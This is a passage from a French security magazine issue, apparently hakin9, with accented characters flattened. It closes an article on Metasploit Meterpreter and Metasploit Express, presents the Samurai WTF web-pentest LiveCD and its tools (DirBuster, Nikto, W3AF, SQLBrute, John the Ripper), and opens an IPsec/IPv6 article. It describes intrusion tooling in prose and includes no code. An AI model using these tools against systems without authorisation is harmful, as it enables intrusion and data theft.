Figure 4 Post-exploitation dune vulneacuterabiliteacute

Figure 5 Rapports daudit

5201028

Focus

bull portfwd permet de transfeacuterer un port local vers un service distant

bull run get _ local _ subnets permet de reacutecupeacuterer le sous-reacuteseau de la victime afin de rajouter une rou-te sur la machine attaquante (gracircce agrave la commande route add) puis dencapsuler le traffic pour le rediri-ger vers la reacuteseau local de la victime

De nombreuses autres possibiliteacutes existent Le si-te httpwwwoffensive-securitycommetasploit-un-leashed met agrave disposition un livre complet de preacutesen-tation de Metasploit Framework dont un chapitre en-tier est reacuteserveacute au Meterpreter Ce site est une ex-cellente source dinformations et offre de nombreux exemples

Metasploit ExpressAnnonceacute fin avril Metasploit Express est un logiciel destineacute aux pen-testers professionels Ce logiciel nest pas gratuit et sa licence est proprieacutetaire Il se constitue dune interface graphique (figure 1) et permet lautoma-tisation de tests de seacutecuriteacute en se basant sur Nexpose pour le scanner de vulneacuterabiliteacutes et sur le Framework pour lexploitation Il napporte aucun exploit ou payload suppleacutementaire car il embarque la version courante du Framework

En quelques clics au travers dune interface web le pen-tester peut lancer un scan nmap de deacutecouverte dhocirctes (figure 2) Pour le moment aucune option du scanner nmap nest configurable mais cette eacutevolution est preacutevue rapidement

En un clic nous pouvons lancer un scan de vulneacute-rabiliteacutes avec NeXpose contre les hocirctes deacutecouverts Un bouton Bruteforce permet de lancer une attaque intelligente par dictionnaire contre les services reacuteseau deacutecouverts (SSH SMB HTTP hellip) Le qualificatif in-telligent est ajouteacute car le dictionnaire utilise automa-tiquement les noms des machines ainsi que dautres noms deacutecouverts sur le reacuteseau Il est preacutevu dans le deacuteveloppement de pouvoir ajouteacute et geacuterer des listes de dictionnaires

Enfin le bouton Exploit permet de tenter une ex-ploitation de toutes les failles deacutecouvertes Ainsi ce

dernier clic peut nous permettre de disposer dun grand nombre de session Meterpreter avec tregraves peu de manipulations Sur chaque session obte-nue nous pouvons collecter les donneacutees sensibles du systegraveme (credentials capture deacutecran mots de passe information systegraveme) obtenir une session VNC acceacuteder facilement au systegraveme de fichier et obtenir la ligne de commande Meterpreter pour une utilisation plus fine

Enfin un onglet nous permet de creacuteer et geacuterer des rapports daudit en format web ou html

Pour finir longlet Modules permet lexploitation dune vulneacuterabiliteacute speacutecifique ou dun module auxiliaire contre une cible deacutefinie Il sagit de leacutequivalent graphi-que de la commande use exploit ou use auxiliary de msfconsole Les modules sont noteacutes de une agrave sept eacutetoi-les Ce classement permet de controcircler lordre deacutexecu-tion lors de lautomatisation dexploit La meacutethodologie de classement est accessible agrave ladresse httpwwwmetasploitcomredmineprojectsframeworkwikiEx-ploit_Ranking

conclusionMetasploit express est un outil agrave part entiegravere visant les pen-testers professionnels Il permet de beacuteneacutefi-cier de la puissance du Framework Metasploit et de celle de Nexpose en un minimum de temps Cet outil napporte donc aucune nouvelle possibiliteacute dexploita-tion mais facilite grandement le travail du consultant seacutecuriteacute

Pour les administrateurs avertis le Framework est un excellent moyen de veacuterifier la seacutecuriteacute de son reacuteseau et de sensibiliser les utilisateurs agrave la seacutecuriteacute infor-matique La maintien du Metasploit Framework sous licence BSD est une chance quil faut utiliser agrave bon escient

Agrave PRoPos DE LAuTEuRAuteur Alexandre LACANPour le contacter alexandrelacangmailcomhttptwittercomlades51

sur le reacuteseaubull httpwwwmetasploitcom ndash projet Metasploit bull httpwwwmetasploitcomredmineprojectsframeworkwi-

kindash wiki du projet Metasploitbull httpwwwrapid7com ndash site de la socieacuteteacute Rapid 7 eacuteditrice

de NeXpose et Metasploitbull httpwwwoff ensive-securitycommetasploit-unleashed ndash Ex-

cellent manuel dutilisation de Metasploit Framework agrave li-re absolument

bull httpblogmetasploitcom ndash Blog HD Moorebull httpwwwtwittercomhdmoorendash fi l twitter du creacuteateur de

Metasploit

5201030

pratique

La seacutecuriteacute des sites internet est aujourdhui lrsquoun des aspects de la seacutecuriteacute en entreprise le plus souvent neacutegligeacute alors qursquoil devrait ecirctre une prio-

riteacute dans nimporte quelle organisation De plus en plus les pirates informatiques concentrent leurs efforts sur les applications web afin drsquoobtenir une approche des in-formations confidentielles et abuser des donneacutees sensi-bles comme les deacutetails de clients les numeacuteros de carte de creacutedit et autre

Les applications web reacutealisant des achats en ligne des authentifications drsquoutilisateurs ou utilisant simple-ment tous types de contenu dynamique permettent agrave lrsquoutilisateur drsquointeragir avec des donneacutees contenues dans une base de donneacutees Sur certaines applica-tions ces donneacutees peuvent ecirctre personnelles voire sensibles Si ces applications web ne sont pas seacutecu-riseacutees votre base de donneacutees entiegravere court un risque reacuteel

Comme tous systegravemes informatiques une application web doit reacutepondre agrave trois caracteacuteristiques

bull Confidentialiteacutebull Disponibiliteacutebull Inteacutegriteacute

La seacutecurisation des reacuteseaux et lrsquoinstallation drsquoun pare-feu ne fournissent aucune protection contre les atta-ques web car elles sont lanceacutees sur le port 80 (le port par deacutefaut pour les sites Internet) qui doit rester ouvert Pour la strateacutegie de seacutecuriteacute la plus complegravete il est

donc urgent dauditer reacuteguliegraverement vos applications web pour veacuterifier la preacutesence de vulneacuterabiliteacutes exploi-tables

Pourquoi srsquoattaquer agrave une application web Les failles web permettent des actions de plus en plus

importantes de la part des pirates informatique Il est fini le temps ougrave le piratage drsquoun site Web consistait agrave affi-cher une simple fenecirctre sur la page de lrsquoutilisateur ou bien le vol drsquoun cookie De nos jours le piratage drsquoune application Web est nettement plus dangereux que cela deacutefaccedilage complet ou partiel drsquoun site Internet ou accegraves aux donneacutees sensibles des utilisateurs Les raisons de ces actions Les pirates informatiques sont principale-ment motiveacutes par deux raisons

Samurai proteacutegez vos applications web

Les failles web donnent une belle opportuniteacute aux pirates informatiques Samurai WTF est speacutecialiste dans les tests de peacuteneacutetration sur les applications web

Cet article expliquebull Lrsquoutilisation de Samuraibull La reacutecupeacuteration drsquoinformation

Ce quil faut savoirbull Les bases des sites webbull Les bases des attaques Web (Injection SQL Injection de code

Inclusion de fichier)

reacutegis Senet

Figure 1 Ecran de boot du Live CD

Samurai proteacutegez vos applications web

hakin9orgfr 31

nom de code The Hardy Heron Cette version a eacuteteacute pu-blieacutee en version stable le 24 avril 2008 soit agrave peine quel-ques mois avant la sortie de la premiegravere version de Sa-murai WTF

Samurai sappuyant sur Ubuntu GNOME (GNU Network Object Model Environment) se trouve ecirctre lrsquoen-vironnement graphique par deacutefaut

Samurai WTF est donc un LiveCD preacuteconfigureacute pour les tests de peacuteneacutetration des sites web Le LiveCD contient les meilleurs outils de cette cateacutegorie qursquoils soient Open Source ou bien gratuits

Lrsquoensemble de ces outils se divise en trois cateacutegories distinctes

bull Reconnaissancebull Deacutecouvertebull Exploitation

Nous preacutesenterons plus en deacutetails lrsquoensemble de ces cateacutegories dans le prochain module Nous preacutesente-rons eacutegalement en deacutetails les outils les plus importants disponibles sur ce LiveCD

Origine du projetLe projet Samurai Web Testing Framework a vu le jour pour sa premiegravere mise en ligne le 08 Octobre 2008 sous sa version 01 gracircce au travail de Kevin Johnson et Jus-tin Searle Kevin et Justin sont deux analystes en seacute-curiteacute informatique expeacuterimenteacutes ainsi que des admi-nistrateurs reacuteseaux et pen-tester aguerris Actuellement agrave sa version 04 Samurai WTF se voit srsquoameacuteliorer de version en version en fixant drsquoeacuteventuels bugs sur les logiciels preacutesents ainsi qursquoen ajoutant de nouveaux lo-giciels Parallegravelement agrave lrsquoeacutevolution du projet et sa pri-se drsquoimportance deux autres deacuteveloppeurs Franck Di-Maggio et Brian Bentley sont venus srsquoajouter au projet afin de travailler aux cocircteacutes des deux initiateurs du pro-jet Samurai WTF a pour objectif de devenir LA platefor-me de reacutefeacuterence en qualiteacute de peacuteneacutetration des applica-tions web devant le tregraves complet BackTrack qui agrave deacutejagrave

bull La gloire Le deacutefaccedilage drsquoun site rentre souvent dans cette cateacutegorie de piratage En effet le deacutefaccedila-ge drsquoun site sert parfois agrave marquer son territoire ou simplement agrave se faire connaicirctre par le monde des pirates en modifiant le site cible

bull Lrsquoargent Les pirates sont souvent attireacutes par lappacirct du gain qursquoil soit direct ou indirect Un gain direct est un gain leur revenant person-nellement alors qursquoun gain indirect se deacutefinirait plus comme eacutetant une perte pour lrsquoentreprise ci-ble En effet le vol drsquoinformations confidentielles comme les numeacuteros de carte bleue par exemple est un commerce de plus en plus porteur sur le net

En exemple de gain indirect en 2006 ChoicePoint a payeacute 10 millions de dollars dans les peines civiles et 5 millions dans le deacutedommagement de consomma-teurs apregraves que 163 000 dossiers financiers person-nels de consommateurs avaient eacuteteacute compromis dans sa base de donneacutees De mecircme un pirate informati-que a gagneacute lapproche agrave plus de cinq millions de nu-meacuteros de cartes de creacutedit en feacutevrier 2003 gracircce agrave une attaque dapplication web Il est temps drsquoinclure les si-tes web dans la politique de seacutecuriteacute des entreprises et ceci de maniegravere draconienne Pour ce faire nous allons maintenant vous preacutesenter Samurai Web Tes-ting Framework

qursquoest ce que Samurai Avec la deacutemocratisation des LiveCD speacutecialiseacutes Samurai nrsquoa pu deacuteroger agrave la regravegle Samurai ou plus preacuteciseacutement Samurai Web Testing Framework ou encore Samurai WTF est donc un LiveCD speacutecia-liseacute dans les tests de peacuteneacutetration sur les applica-tions web

Samurai WTF est un LiveCD fondeacute sur un envi-ronnement GNULinux Bien que moins habituelle qursquoOpenBSD FreeBSD et autre Samurai WTF sap-puie sur une distribution Ubuntu 804 LTS ayant pour

Figure 2 BootSplash de Samurai Figure 3 Ecran de login

5201032

pratique

eacutenormeacutement drsquoimportance aux yeux de tous les profes-sionnels de la seacutecuriteacute informatique Une nouvelle ver-sion 05 est attendue inteacutegrant le tout dernier KDE (KDE 41) fondeacute sur Kubuntu 810

Deacutemarrage du LiveCDComme sur lrsquoensemble des distributions GNULinux le boot du CD propose de nombreuses possibili-teacutes quant aux actions agrave entreprendre Encore une fois Samurai WTF ne deacuteroge pas agrave la regravegle (voir Figure 1)

A partir du menu il est possible

bull De deacutemarrer Samurai Web Testing Framework en mode graphique (safe mode ou pas)

bull Drsquoinstaller Samurai Web Testing Framework en dur en utilisant lrsquooutil de partitionnement connu drsquoUbun-tu

bull De veacuterifier que le CD ou le DVD nrsquoa aucun deacutefautbull De faire un test de meacutemoire (option disponible sur

tous les LiveCD)bull De deacutemarrer agrave partir du disque dur Cette option

trouve sont utiliteacute lorsque le CD se trouve dans le lecteur au deacutemarrage mais que lrsquoon veut booter nor-malement sur notre disque dur

Un des inteacuterecircts du LiveCD est quil ne laisse pas de trace car toutes les informations utiliseacutees au cours de son utilisation seront perdues lors de lextinction de la machine Pour cette raison nous allons utiliser la pre-miegravere option Start Samurai Web Testing Framework in Graphical Mode qui est lrsquooption par deacutefaut permettant simplement de lancer Samurai WTF en mode graphi-que

Le mode graphique se lance donc affichant le boots-plash de Samurai WTF durant le chargement de tous les modules (voir Figure 2)

Une fois lrsquoensemble des modules chargeacutes un eacutecran de login apparaicirct

Par deacutefaut le seul et unique identifiant pour la connexion se compose de login samurai coupleacute au mot de passe samurai(voir Figure 3) Par la suite rajoutez eacuteventuel-lement des utilisateurs gracircce agrave la commande useradd ou bien gracircce au gestionnaire graphique que contient Sa-murai WTF afin de restreindre lrsquoutilisation du LiveCD

Une fois loggeacute profitez pleinement de lrsquoensemble des fonctionnaliteacutes dont ce LiveCD regorge

Les menus preacutesents dans Samurai sont tregraves intuitifs et tregraves clairs permettant de vous adapter rapidement mecirc-me si vous nrsquoavez jamais installeacute une version drsquoUbuntu (voir Figure 4 et 5)

Samurai et ses outilsLe LiveCD dispose approximativement drsquoune tren-

taine drsquooutils destineacutes agrave mettre agrave mal tout type drsquoappli-cation web Comme nous vous lavions indiqueacute dans le module preacuteceacutedent lrsquoensemble de ces outils peut se deacutecomposer en trois cateacutegories agrave savoir

bull Reconnaissancebull Deacutecouvertebull Exploitation

reconnaissanceLa partie reconnaissance est une partie tregraves im-portante dans la mise en place drsquoune attaque

(que celle-ci soit porteacutee contre une application web ou autre) Dans le cas drsquoune application web il srsquoagit de faire de la reacutecupeacuteration drsquoinformation sur la cible La prise de connaissance peut inclure la reacutecupeacuteration drsquoadresses mail des informations concernant le titulai-re de lrsquoheacutebergement ainsi que bien drsquoautre possibiliteacutes Pour ces reacutecupeacuterations drsquoinformations les outils Fierce domain Scanner ainsi que Maltego sont disponibles sur Samurai WTF

DeacutecouverteexploitationLes parties deacutecouverte et reconnaissance sont geacuteneacutera-lement regroupeacutees en une seule phase lorsqursquoil srsquoagit

Figure 4 Bureau de Samurai sous Gnome Figure 5 Les menus sous Samurai

Samurai proteacutegez vos applications web

hakin9orgfr 33

drsquooutil automatiseacute La deacutecouverte drsquoune faille que ce soit des mauvaises configurations du serveur des failles de type cross site scripting (XSS) injection SQL inclusion de fichier ou bien drsquoautres encore permet de mettre en eacutevidence la preacutesence drsquoune faille sans pour autant lrsquoexploiter agrave 100 La partie exploitation quant agrave elle consiste agrave tenter drsquoexplorer la faille sous toutes ses coutures Pour ces parties des outils bien connus comme W3AF BeEF ou bien encore AJAXShell ont eacuteteacute incorporeacutes

La preacutesentation des outils que contient le LiveCD Sa-murai WTF ne se fera pas en fonction drsquoune apparte-nance agrave une cateacutegorie (reconnaissance deacutecouverte etou exploitation) mais dans un ordre alphabeacutetique com-me preacutesenteacute dans le menu du LiveCD Nous allons ten-ter de vous preacutesenter le plus preacuteciseacutement possible les outils importants

DirBusterDirBuster est une application eacutecrite en Java permettant de laquo brutefocer raquo les dossiers contenus dans une ap-plication web Une attaque par dictionnaire serait plus approprieacutee du fait que DirBuster va tenter de faire cor-respondre des reacutepertoires preacutesents sur le serveur avec une liste de reacutepertoires dans des fichiers texte Le but de cette application est donc de trouver des dossiers ou bien mecircme des fichiers sans liens pointant vers eux et pouvant srsquoaveacuterer tregraves inteacuteressants (dossier admin par exemple ou la preacutesence drsquoun passwdtxt etc)

Lrsquointerface graphique (voir Figure 6) est tregraves intui-tive et excessivement simple drsquoutilisation En effet il est simplement neacutecessaire de speacutecifier une URL cible ainsi qursquoun dictionnaire de dossiersfichiers

Une fois ces deux eacuteleacutements speacutecifieacutes DirBuster va tenter chaque combinaison une agrave une jusqursquoagrave avoir une

Figure 6 Interface graphique de DirBuster

Figure 7 Loutil GooScan en ligne de commande

5201034

pratique

reacuteponse positive du serveur (Requecircte 200 en geacuteneacute-ral)

Le projet DirBuster est un projet de lrsquoOWASP (Open Web Application Security Project) ayant pour objectif de rendre le Web de plus en plus seacutecuritaire

FierceFierce ou plus preacuteciseacutement Fierce Domain Scanner est petit script eacutecrit en Perl dont le but est drsquoauditer la seacutecuriteacute des applications web Il est capable de tes-ter des domaines qui ne sont pas continus Fierce Do-main Scanner analyse un domaine et tente drsquoidentifier des sites qui sont susceptibles decirctre des cibles po-tentielles dune attaque web Fierce Domain Scanner trouve sa place dans la cateacutegorie des outils de recon-naissance

GooScanGooScan est un scanner de vulneacuterabiliteacutes pour page web fonctionnant agrave partir de requecirctes avec le moteur de recherche Google Crsquoest un utilitaire assez puissant uniquement preacutesent en ligne de commande Cet outil permet de ne pas faire de recherches directement sur la cible en elle-mecircme mais en premier lieu en passant par le moteur de recherche Google afin de reacutecupeacuterer le maximum drsquoinformations sans toucher au systegraveme cible Tout comme Fierce GooScan trouve sa place

dans la cateacutegorie des outils de reconnaissance (voir Figure 7)

HttpprintHttpprint est un logiciel qui relegraveve les laquo empreintes raquo drsquoun serveur web (voir Figure 8) Httpprint deacutetecte avec exactitude les caracteacuteristiques du serveur Web distant mecircme si certains administrateurs systegraveme tentent de cacher ces caracteacuteristiques en changeant certains pa-ramegravetres ainsi que les banniegraveres

Httpprint utilise des signatures pour la reconnaissan-ce des diffeacuterents types de serveur web Il est possible drsquoajouter ses propres signatures agrave la base de donneacutees deacutejagrave preacutesente

MaltegoMaltego est un outil qui deacutetermine les relations et les liens reacuteels entre le monde (personnes entreprises organisations sites web etc ) Maltego permet de trouver simplement et de maniegravere graphique des in-formations telles que des documents les diffeacuterentes adresses e-mail dune personne des numeacuteros de teacute-leacutephone qui pourraient lui ecirctre associeacutes des rensei-gnements sur linfrastructure mais aussi collecter des informations et bien dautres choses encore Trou-vant sa place dans les outils de type laquo reconnaissan-ce raquo Maltego est reacuteputeacute pour ecirctre lrsquoun des meilleurs

Figure 8 Relever les empreintes avec HTTPRINT

Samurai proteacutegez vos applications web

hakin9orgfr 35

outils de cette cateacutegorie Il permet eacutegalement drsquoauto-matiser des actions de types laquo footprinting raquo en vue de tests de peacuteneacutetration preacutevus ulteacuterieurement Il per-met gracircce au nom drsquoune socieacuteteacute par exemple de re-monter jusqursquoagrave son infrastructure technique agrave savoir les serveurs DNS les serveurs Web les serveurs Mail les heacutebergeurs et ainsi de suite (voir Figure 9 et 10)

La version 20 de Maltego preacutesente sur Samurai WTF est eacutegalement preacutesente sur la version finale de Back-Track III

NiktoNikto est un scanner de serveur Web dont le but est de trouver automatiquement les risques lieacutes agrave la confi-guration ainsi qursquoaux versions utiliseacutees Plusieurs ty-pes de tests sont effectueacutes sur le serveur cible gracircce agrave Nikto Ainsi Nikto vous indiquera les versions utili-seacutees et les eacuteventuels problegravemes en rapport avec ces

Figure 9 Utilisation de Maltego

Figure 10 Deacutemarrage de Maltego Figure 11 W3AF via son interface graphique

5201036

pratique

derniegraveres Drsquoautres tests portent sur la configuration du serveur en elle-mecircme comme le Directory indexing lrsquoutilisation de lrsquooption TRACE la vulneacuterabiliteacute aux in-jections XSS ou injections SQL la preacutesence drsquoinfor-mations systegraveme reacuteveacuteleacutees (via phpinfo() par exemple) etc Nikto teste en tout et pour tout plus de 2500 points clefs agrave la recherche de failles exploitables par un pi-rate informatique agrave lrsquoencontre drsquoune application web que ce soit lrsquoapplication web elle-mecircme ou le serveur la supportant

parosParos ou plus preacuteciseacutement Paros Proxy intervient sur le volet de la seacutecuriteacute applicative En eacutemulant le navi-gateur web il va permettre de tester des actions sur des services et des applications en ligne et ainsi eacuteva-luer leur niveau de seacutecuriteacute Paros Proxy offre notam-ment la possibiliteacute de capturer une requecircte de la reacuteeacute-crire avant de la reacuteacheminer Toutes les donneacutees sur HTTP et HTTPS entre le serveur et le client y compris les cookies peuvent donc ecirctre intercepteacutees et modi-fieacutees

ratproxyRatProxy a pour but drsquoaider les deacuteveloppeurs de si-tes internet agrave mieux identifier les failles potentielles de leurs creacuteations Cet outil est proposeacute par le geacuteant Goo-gle qui apregraves lrsquoavoir reacutealiseacute en interne a deacutecideacute de pu-blier le code pour qursquoil soit accessible par tout le mon-

de Loutil est multiplateforme mais neacutecessite Cygwin afin de fonctionner sous Windows Comme son nom lrsquoindique RatProx se configurera en premier lieu com-me un proxy Puis il faudra ensuite visiter le site inter-net agrave tester et lapplication de maniegravere quasi automa-tique testera et reacutedigera un rapport au format HTML RatProxy a pour but de deacutenicher des problegravemes de seacute-curiteacute les plus communs (Injection XSS injection SQL etc) Dans lrsquoutilisation RatProxy se rapproche donc eacutenormeacutement de Paros et de WebScarab (Voir un peu plus bas)

SqLBruteSQLBrute est un petit outil inteacutegralement eacutecrit en Py-thon permettant de bruteforcer les donneacutees agrave lrsquoaide drsquoin-jection SQL aveugle (Blind Injection SQL) Il utilise une exploitation baseacutee sur le temps de reacuteponse ainsi que sur les erreurs de Microsoft SQL Server et Oracle SQL-Brute permet drsquoacceacuteleacuterer les traitements gracircce agrave lrsquoutili-sation du multithreading et ne neacutecessite aucune biblio-thegraveque suppleacutementaire

W3aFW3AF ou encore Web Application Attack and Audit Framework est un logiciel entiegraverement eacutecrit en Py-thon W3AF est un Framework tregraves complet orienteacute test de peacuteneacutetration des applications web (voir Figure 11 et 12) Comme son nom lrsquoindique il est orienteacute vers les audits et les attaques agrave lrsquoencontre des appli-cations web Il trouve donc tregraves bien sa place dans le LiveCD Samurai W3AF est diviseacute en deux parties le core qui gegravere les processus et la communication entre les plugins Les plugins eacutetant classeacutes en 7 ca-teacutegories distinctes (deacutecouverte audit grep attaques affichage modifieurs de requecirctes eacutevasion et brute force) permettant de faire de W3AF un outil tregraves com-plet rentrant dans les trois cateacutegories deacutejagrave eacutevoqueacutees agrave savoir reconnaissance deacutecouverte et exploita-tion

Le Framework dispose drsquoune interface graphique tregraves complegravete et tregraves intuitive pour lrsquoensemble des actions qursquoil propose Le projet contient plus de 130 plugins qui permettent de chercher pour les injections SQL les in-jections XSS les inclusions de fichiers locauxdistants et bien plus encore

Figure 12 W3AF an ligne de commande

Figure 13 Ecran de lancement de WebShag

Samurai proteacutegez vos applications web

hakin9orgfr 37

Pour ceux qui le souhaitent W3AF dispose aussi drsquoune interface en ligne de commande plus difficile agrave exploiter mais tout aussi puissante

WapitiWapiti est un petit logiciel eacutecrit entiegraverement en Python per-mettant drsquoauditer la seacutecuriteacute drsquoune application Web Le logiciel teste automatiquement de nombreuses attaques qursquoun pirate tenterait de lancer une agrave une telles que lrsquoinclu-sion de fichiers locaux lrsquoinclusion de fichiers distants les injections SQL et les injections XSS Wapiti est souvent utiliseacute en parallegravele agrave Nikto qui remplit les mecircmes fonctions que ce dernier Tout comme Nikto Wapiti trouve sa place dans les outils de deacutecouverte et drsquoexploitation

WebScarabTout comme DirBuster WebScarab est un outil issu de lrsquoOWASP WebScarab est un proxy applicatif libre eacutecrit en Java permettant drsquointercepter et de modifier les requecirctes ainsi que les reacuteponses HTTP (dans le mecircme esprit que Paros) Il est important de compren-dre que gracircce agrave ce genre drsquooutils les controcircles mis en place cocircteacute client par du JavaScript par exemple peu-vent facilement ecirctre contourneacutes comme la gestion des longueurs maximales drsquoun champ gracircce agrave lrsquoattribut laquo maxlength raquo Les erreurs suite aux mauvais paramegrave-tres inseacutereacutes dans des formulaires constituent lrsquoune des premiegraveres vulneacuterabiliteacutes web deacutecreacuteteacutee par le guide de lrsquoOWASP

Figure 14 Loutil Nmap avec une interface graphique

Figure 15 Ligne de commande sous Samurai

5201038

pratique

WebShagWebshag est un outil multiplateforme eacutecrit en Python destineacute agrave laudit de serveurs web Il regroupe une seacute-rie de fonctionnaliteacutes utiles lors de tests dintrusion de serveurs web tels quun scanner dURL ainsi qursquoun fuzzer de fichiers En outre il integravegre des fonctionna-liteacutes deacutevasion IDS speacutecialement conccedilues pour com-pliquer la correacutelation entre les nombreuses requecirctes quil geacutenegravere (pour ce faire il est capable dutiliser un serveur proxy diffeacuterent pour chaque requecircte geacuteneacutereacutee voir Figure 13)

En plus des fonctionnaliteacutes deacutecrites ci-dessus Webs-hag propose de nouveaux outils agrave limage de son mo-

dule permettant de reacutecupeacuterer la liste des noms de do-maine heacutebergeacutes par une adresse IP donneacutee

Webshag propose une interface graphique tregraves sim-ple et tregraves intuitive Il existe eacutegalement une version en ligne de commande pour la version GNULinux pour les plus teacutemeacuteraires drsquoentre vous

ZeNmapZeNmap est simplement lrsquointerface graphique du ceacutelegrave-bre outil Nmap (voir Figure 14) Nmap est reacuteputeacute pour ecirctre un excellent outil utilisable uniquement en ligne de commande pouvant deacutecourager les moins teacutemeacuterai-res drsquoentre nous Les balayages proposeacutes par ZeN-

Figure 16 John The Ripper en ligne de commande

Figure 17 Le fameux utilitaire Nmap

Samurai proteacutegez vos applications web

hakin9orgfr 39

map vont du simple scan aux scans tregraves speacutecifiques en passant par la deacutetection de systegravemes drsquoexploita-tion distants Lrsquoensemble de ces choix seffectue gracircce agrave une listbox rendant les configurations vraiment tregraves simples Voici agrave quoi ressemble cette interface graphi-que

Les sorties de ZeNmap sont tregraves claires et compreacute-hensibles comparativement aux lignes de commande de la version classique Il est possible drsquoutiliser les profils preacutedeacutefinis par ZeNmap (Intense Scan Quick Scan Operating System Detection etc) ou de taper directement les commandes dans la partie preacutevue agrave cet effet pour les plus confirmeacutes cherchant un reacutesul-tat preacutecis

Malgreacute des menus complets certains outils ne sont pas disponibles agrave partir des menus que proposent Sa-murai WTF et sont donc uniquement accessibles via la ligne de commande (voir Figure 15)

Parmi ces outils on retrouve

bull Dnswalk Dnswalk est un deacutebuggeur de DNS Il exeacutecute des transferts de zone sur les domaines in-diqueacutes et veacuterifie de plusieurs maniegraveres linteacutegriteacute et lexactitude de la base de donneacutees

bull Httping Httping correspond au ping pour les re-quecirctes HTTP Si la requecircte ne reacutepond pas il se peut que la page nrsquoexiste pas ou bien qursquoil y ait un souci relatif au serveur (preacutesence drsquoun fi-rewall)

bull Httrack Httrack est simplement un aspirateur de site cest-agrave-dire qursquoil vous donne la possibiliteacute de teacuteleacutecharger lrsquointeacutegraliteacute drsquoune application web sur votre disque dur personnel en construisant reacutecur-sivement tous les reacutepertoires reacutecupeacuterant HTML images et fichiers du serveur vers votre ordina-teur Httrack reacuteorganise la structure des liens en relatif

bull JTR JTR ou est un puissant crackeur de mot de passe en ligne de commande fonctionnant tant sous Windows que sous GNULinux John The Rip-per procegravede agrave des attaques par bruteforce cest-agrave-dire en tentant toutes les combinaisons possibles (voir Figure 16)

bull Netcat Netcat est un utilitaire entiegraverement en ligne de commande permettant douvrir des connexions reacuteseau que ce soit UDP ou TCP En raison de sa polyvalence netcat est aussi appeleacute le couteau suisse TCPIP Il peut ecirctre utiliseacute pour connaicirctre leacutetat des ports par exemple

bull Nmap Nmap est tregraves certainement le scanneur de ports le plus connu et le plus utiliseacute dans le monde de la seacutecuriteacute informatique (mecircme Trini-ty lrsquoutilise) ainsi que par les administrateurs reacute-seau Il est principalement conccedilu pour deacutetec-ter les ports ouverts identifier les services ainsi qursquoobtenir des informations sur le systegraveme drsquoex-

ploitation Bien que tregraves petit nmap est un lo-giciel extrecircmement complet permettant drsquoobtenir des reacutesultats fort inteacuteressants (voir Figure 17)

bull Snarf Snarf est un simple petit utilitaire en ligne de commande permettant de transfeacuterer des fichiers via les protocoles HTTP gopher finger et FTP sans aucune interaction avec lrsquoutilisateur

Le LiveCD Samurai dispose eacutegalement de plusieurs outils non relatifs agrave la seacutecuriteacute informatique permet-tant simplement de faire de Samurai une distribution complegravete Vous retrouverez ainsi des programmes comme Wine permettant drsquoeacutemuler des programmes Windows dans un environnement Linux Des logiciels pour eacutecouter de la musique ou pour acceacuteder agrave Inter-net dans de bonne condition sont eacutegalement disponi-bles

ConclusionLrsquoensemble des outils preacutesents dans le live CD Sa-murai Web Testing Framework permet de le classer parmi les frameworks les plus complets en matiegravere de peacuteneacutetration des applications web Bien que Sa-murai WTF soit encore un projet tregraves jeune il dispo-se deacutejagrave drsquoune grande maturiteacute lui permettant drsquoavoir une place bien preacutesente dans le milieu de la seacutecu-riteacute web

Samurai WTF est en constante eacutevolution et integravegre de plus en plus drsquooutils que les professionnels de la seacutecuri-teacute utilisent reacuteguliegraverement afin de satisfaire parfaitement leurs besoins

Samurai WTF est donc une distribution sur laquelle il est important de garder un œil tant son eacutevolution est impressionnante et son utilisation de plus en plus freacute-quente chez les professionnels

Nous vous rappelons eacutegalement que lrsquoensemble de ces outils bien que gratuits sont soumis agrave cer-taines restrictions qursquoil est tenu de connaitre avant toute utilisation Ces outils sont entiegraverement leacutegaux mais il nrsquoest autoriseacute de les utiliser que contre son propre reacuteseau agrave moins drsquoavoir les autorisations neacute-cessaires Page daccueil httpsamuraiinguar-dianscom

a prOpOD De LauteurReacutegis SENET est actuellement eacutetudiant en quatriegraveme anneacutee agrave lrsquoeacutecole Supeacuterieur drsquoinformatique Supinfo Passionneacute par les tests drsquointrusion et les vulneacuterabiliteacutes Web il tente de deacuteco-uvrir la seacutecuriteacute informatique drsquoun point de vue entreprise Il soriente actuellement vers le cursus CEH LPT et Offensive Se-curityContact regissenetsupinfocom

5201040

Pratique

Au moment de la deacutefinition dIPv6 de nouveaux besoins tels que la seacutecuriteacute la mobiliteacute sont ap-parus et ont pu ecirctre pris en compte lors de la

phase de standardisation Ce chapitre preacutesente quel-ques-uns de ces meacutecanismes qui repreacutesentent une grande avanceacutee de la couche reacuteseau

iPsecIPsec est le protocole speacutecifiquement conccedilu pour seacutecu-riser IPv6 Il permet de reacutealiser des reacuteseaux priveacutes Vir-tuels ou VPNs (Virtual Private Networks) au niveau IP et offre les services

bull drsquoauthentification des donneacuteesbull de chiffrement de donneacutees bull drsquointeacutegriteacute des donneacutees pour garantir que les paquets

nrsquoont pas eacuteteacute modifieacutes durant leur acheminementbull drsquoanti-rejeu afin de deacutetecter les eacuteventuels paquets

rejoueacutes par un attaquant

Toute impleacutementation IPv6 se doit de lrsquointeacutegrer dans sa pile Ce protocole est eacutegalement utilisable avec IPv4 mais lrsquoutilisation du NATPAT (Network Address Trans-lationProtocole Address Translation) en limite la mise en œuvre

Meacutecanismes iPsecIPsec deacutefinit 2 protocoles de seacutecurisation

bull AH (Authentication Header)bull ESP (Encryption Security Payload)

Les services de seacutecurisation offerts par ces 2 protoco-les sont distincts

bull AH permet de sassurer que leacutemetteur du message est effectivement celui quil preacutetend ecirctre Il sert aus-si au controcircle dinteacutegriteacute pour garantir au reacutecepteur que personne na modifieacute le contenu dun message lors de son acheminement et peut optionnellement ecirctre utiliseacute pour la deacutetection des rejeux

bull ESP offre les mecircmes services qursquoAH et permet en plus de chiffrer lensemble des paquets ou unique-ment la charge utile ESP garantit eacutegalement de fa-ccedilon limiteacutee linteacutegriteacute du flux

associations de seacutecuriteacuteAfin de seacutecuriser les eacutechanges les entiteacutes en preacutesence doivent bien eacutevidemment partager un ensemble com-mun drsquoinformations telles que le protocole IPsec usiteacute (AH ou ESP) les cleacutes les algorithmes hellip Ces diffeacuteren-tes informations constituent des associations de seacutecu-riteacute ou SA (Security Association)

Chaque association de seacutecuriteacute est identifieacutee de maniegravere unique par un triplet comprenant un index de paramegravetres de seacutecuriteacute SPI (Security Parameters Index) ladresse du destinataire IP et le protocole de seacutecuriteacute AH ou ESP

Meacutecanismes iPv6 avanceacutes

